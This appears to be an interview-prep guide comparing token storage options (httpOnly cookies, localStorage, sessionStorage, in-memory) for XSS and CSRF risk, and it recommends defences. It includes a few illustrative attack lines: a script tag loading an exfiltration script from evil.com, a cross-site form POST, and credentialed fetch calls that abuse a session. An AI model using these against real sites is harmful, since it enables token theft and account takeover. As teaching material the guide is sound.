Token Storage — JWT in localStorage vs httpOnly Cookie
TL;DR
The single most-asked frontend security question. Default to httpOnly cookies for session tokens — protects against XSS reading them, the browser handles attachment. Bearer tokens in localStorage are vulnerable to XSS (any script reads them), but CSRF-safe (not auto-attached). The “best of both worlds” is httpOnly cookies + CSRF protection. Don’t put refresh tokens or sensitive data in localStorage under any circumstances.
Interview Q&A
Q: The three places to store auth tokens.
A:
| Storage | Cross-tab? | Persists across sessions? | JS-readable (XSS risk)? | Auto-attached to requests? |
|---|---|---|---|---|
| httpOnly cookie | yes | yes (per cookie expiry) | no | yes (same domain) |
| localStorage | yes | yes (forever until cleared) | yes | no (you attach via header) |
| sessionStorage | per-tab | until tab close | yes | no |
| In-memory (JS variable) | no | no (cleared on refresh) | yes (but very short window for XSS to exploit) | no |
The senior trade-off:
- httpOnly cookie: XSS-safe (token can’t be read), but CSRF-vulnerable (auto-attached).
- localStorage / Bearer: CSRF-safe (you attach manually), but XSS-vulnerable.
You can’t have both wins from one storage. Compose.
Q: Why is localStorage XSS-vulnerable but cookies aren’t?
A: localStorage is accessible to any JS on the origin:
const token = localStorage.getItem("auth_token"); // works from any script
An XSS that runs <script src="//evil.com/exfil.js"> includes a script that reads localStorage and exfiltrates.
httpOnly cookies are not accessible to JS:
document.cookie; // doesn't include httpOnly cookies
The browser sends them with requests but never reveals to JavaScript. XSS can use them via fetch(..., { credentials: "include" }) but can’t exfiltrate the token itself.
The distinction matters because:
- Exfiltration = attacker keeps the token, uses it forever from their server.
- Use in-place = attacker can act as the user while the XSS runs.
httpOnly cookies make the first impossible. The second is still bad but bounded.
Q: Why are httpOnly cookies CSRF-vulnerable but Bearer tokens aren’t?
A: Cookies are auto-attached by the browser on any request to the cookie’s domain. A <form action="https://api.yoursite.com/transfer"> POST from evil.com sends your cookies.
Bearer tokens require JS to set the header: fetch(..., { headers: { Authorization: "Bearer ..." } }). Cross-origin JS on evil.com doesn’t have your token (it’s in your origin’s storage, blocked by SOP).
So: cookies need CSRF mitigation (SameSite, tokens); bearer tokens don’t.
Q: The “best of both worlds” pattern.
A: httpOnly cookies + CSRF protection:
# Server, on login
Set-Cookie: session=<sessionId>; HttpOnly; Secure; SameSite=Lax; Path=/
# Server, on requests
# - Checks session cookie
# - For state-changing requests, requires CSRF token (double-submit or synchronizer)
Properties:
- XSS can’t read the session → can’t exfiltrate.
- SameSite=Lax blocks most CSRF.
- Double-submit token blocks the rest (SameSite=None contexts, OAuth callbacks).
This is the default for most apps with conventional session-based auth.
Q: When do bearer tokens make sense?
A:
- Cross-origin APIs — your SPA on
app.comtalks to API onapi.com. Cookies cross-origin are awkward (SameSite=None + CORS preflight + credentials true). Bearer tokens cross-origin are clean. - Mobile apps — no browser, no cookies. Native code holds the token.
- Server-to-server — cookies are browser-centric; service-to-service uses tokens.
- OAuth Bearer access tokens — the protocol mandates Bearer.
For a SPA + same-origin (or first-party + subdomain) backend: cookies are the right default.
Q: If you must use localStorage — what’s the mitigation?
A: Acknowledge the trade-off, then minimize:
- Use a short-lived access token + refresh token rotation.
- Don’t store refresh tokens in localStorage. Refresh tokens should be httpOnly cookies that the SPA’s silent-refresh endpoint uses.
- Hardened CSP to make XSS harder.
- Trusted Types to block dangerous DOM sinks.
- Subresource Integrity on every third-party script.
Even with all this, XSS still gets the access token. You’re betting that:
- The XSS window is short (access token expires in minutes).
- The attacker can’t easily get the refresh token (it’s httpOnly).
Some apps choose this trade-off because cookies don’t fit. Document the risk; ratchet CSP.
Q: Where exactly does the in-memory pattern work?
A: A short-lived access token in a JS variable (not localStorage):
let accessToken: string | null = null;
async function login() {
const { token } = await fetch("/api/login", ...).then(r => r.json());
accessToken = token; // memory only
}
function apiCall(url: string) {
return fetch(url, { headers: { Authorization: `Bearer ${accessToken}` } });
}
Pros vs localStorage:
- Page refresh clears the token → forces re-auth or silent refresh.
- XSS window is shorter — JS can read the variable, but only while the page is loaded.
Cons:
- Page refresh loses the token unless you have a refresh-from-httpOnly-cookie flow.
- Tab close loses it.
This is the “least bad” Bearer pattern when cookies aren’t an option. Pair with a refresh-token-in-httpOnly-cookie endpoint that the page hits on load to silently rehydrate the access token.
Q: Sessions vs JWTs — does it matter for storage?
A: Slightly:
- Session cookies (opaque ID + server-side state) — the cookie value is meaningless without the server’s session table. Stolen → attacker can use the session until you revoke. Revocation is server-side, instant.
- JWTs (signed token containing claims) — the token is the credential. Stolen → attacker has it until expiry. Revocation is hard — typically a server-side denylist or short-lived + refresh.
For storage, both can be httpOnly cookies. The revocation difference is why sessions are often safer for sensitive apps; JWTs are convenient for stateless APIs.
If using JWTs:
- Short expiry (5-15 minutes).
- Refresh tokens for long-lived sessions (httpOnly cookie).
- A denylist (Redis) for revocation on logout / password change.
See ../../backend/11_authentication/jwt/.
Q: What about sessionStorage?
A: Same XSS vulnerability as localStorage; just shorter lifetime (per-tab, cleared on close). Doesn’t really mitigate.
Sometimes used for short-lived auth state in OAuth flows (“PKCE verifier”). Acceptable for a few seconds of life; not for tokens.
Q: SameSite + auth — picking strict vs lax.
A:
SameSite=Strict— never sent cross-site, including top-level navigation. Bug: user clicks an emailed link to your logged-in page, cookie not sent, page loads as logged out.SameSite=Lax(default in browsers since 2020) — sent on top-level GET navigation (so emailed links work) but not cross-site POSTs/fetches/<img>. Sweet spot for most apps.
Use Strict only for high-sensitivity operations (admin actions, payment confirmations) where you want to require the user to re-enter the site from your domain.
Q: Auth bypass via XSS — the worst case.
A: Even with httpOnly cookies, XSS can:
fetch("/api/me", { credentials: "include" })— the browser sends the cookies. The XSS reads the response (it’s same-origin). It learns the user’s data, profile, ID.fetch("/api/transfer", { method: "POST", credentials: "include", body: ... })— performs the transfer with the user’s session.
The XSS doesn’t have the token, but it doesn’t need to — it can use the session for as long as the page is open. The token-storage choice helps with exfiltration, not in-place abuse.
The full defense: eliminate XSS (escape on output, CSP, Trusted Types) — token storage is the last line.
Gotchas / edge cases
httpOnlywithlocalStorage“fallback” — defeats the point. If your code reads the token from cookies via JS (somehow), it’s not really httpOnly.- Refresh tokens in JS-accessible storage are catastrophic — they get fresh access tokens forever. Always httpOnly.
- Cookie max-age — long-lived cookies are session theft targets. Short-lived + refresh-on-use is safer.
- Third-party cookies — Chrome’s deprecation of 3rd-party cookies affects auth in iframes, OAuth popups, embedded SaaS. Plan for the no-3rd-party-cookie future (Storage Access API, BFFs).
- OAuth Implicit flow stored tokens in URL fragments → localStorage. Deprecated; use Authorization Code + PKCE.
Secureflag required on cookies in modern Chrome (and SameSite=None requires Secure). Local HTTP dev: uselocalhost(exempt) or local HTTPS.
What a senior is expected to say
- “Default to httpOnly cookies for session tokens + SameSite=Lax + CSRF protection for cross-site contexts. XSS can’t read the token; CSRF is blocked by SameSite + token.”
- “localStorage / Bearer tokens are CSRF-safe but XSS-vulnerable. XSS reads them and exfiltrates forever. Use only when cookies don’t fit (cross-origin APIs, mobile).”
- “Refresh tokens NEVER in localStorage — always httpOnly cookies. Short-lived access tokens are tolerable in memory.”
- “The ‘in-memory access token + httpOnly refresh cookie’ pattern is the best Bearer setup — XSS window is shorter than localStorage; refresh on page load via silent endpoint.”
- “Token storage choice affects exfiltration risk. XSS that exists can still abuse the session in-place. Eliminating XSS is the real fix; storage is the last line.”
- “JWTs are convenient but revocation is hard — server-side denylist or short expiry + refresh. Server sessions are simpler to revoke.”
Cross-references
- XSS (the threat token storage defends against): 01_xss.md
- CSRF (the threat the other side faces): 02_csrf.md
- OAuth flows: 07_oauth_oidc_for_spas.md
- Backend JWT pitfalls: ../../backend/11_authentication/jwt/
- Storage APIs: ../18_browser_internals/04_storage_apis.md
Further reading
- OWASP — Session Management Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
- web.dev — Cross-site cookies: https://web.dev/articles/samesite-cookies-explained
- Auth0 — “Where to store tokens”: https://auth0.com/docs/secure/security-guidance/data-security/token-storage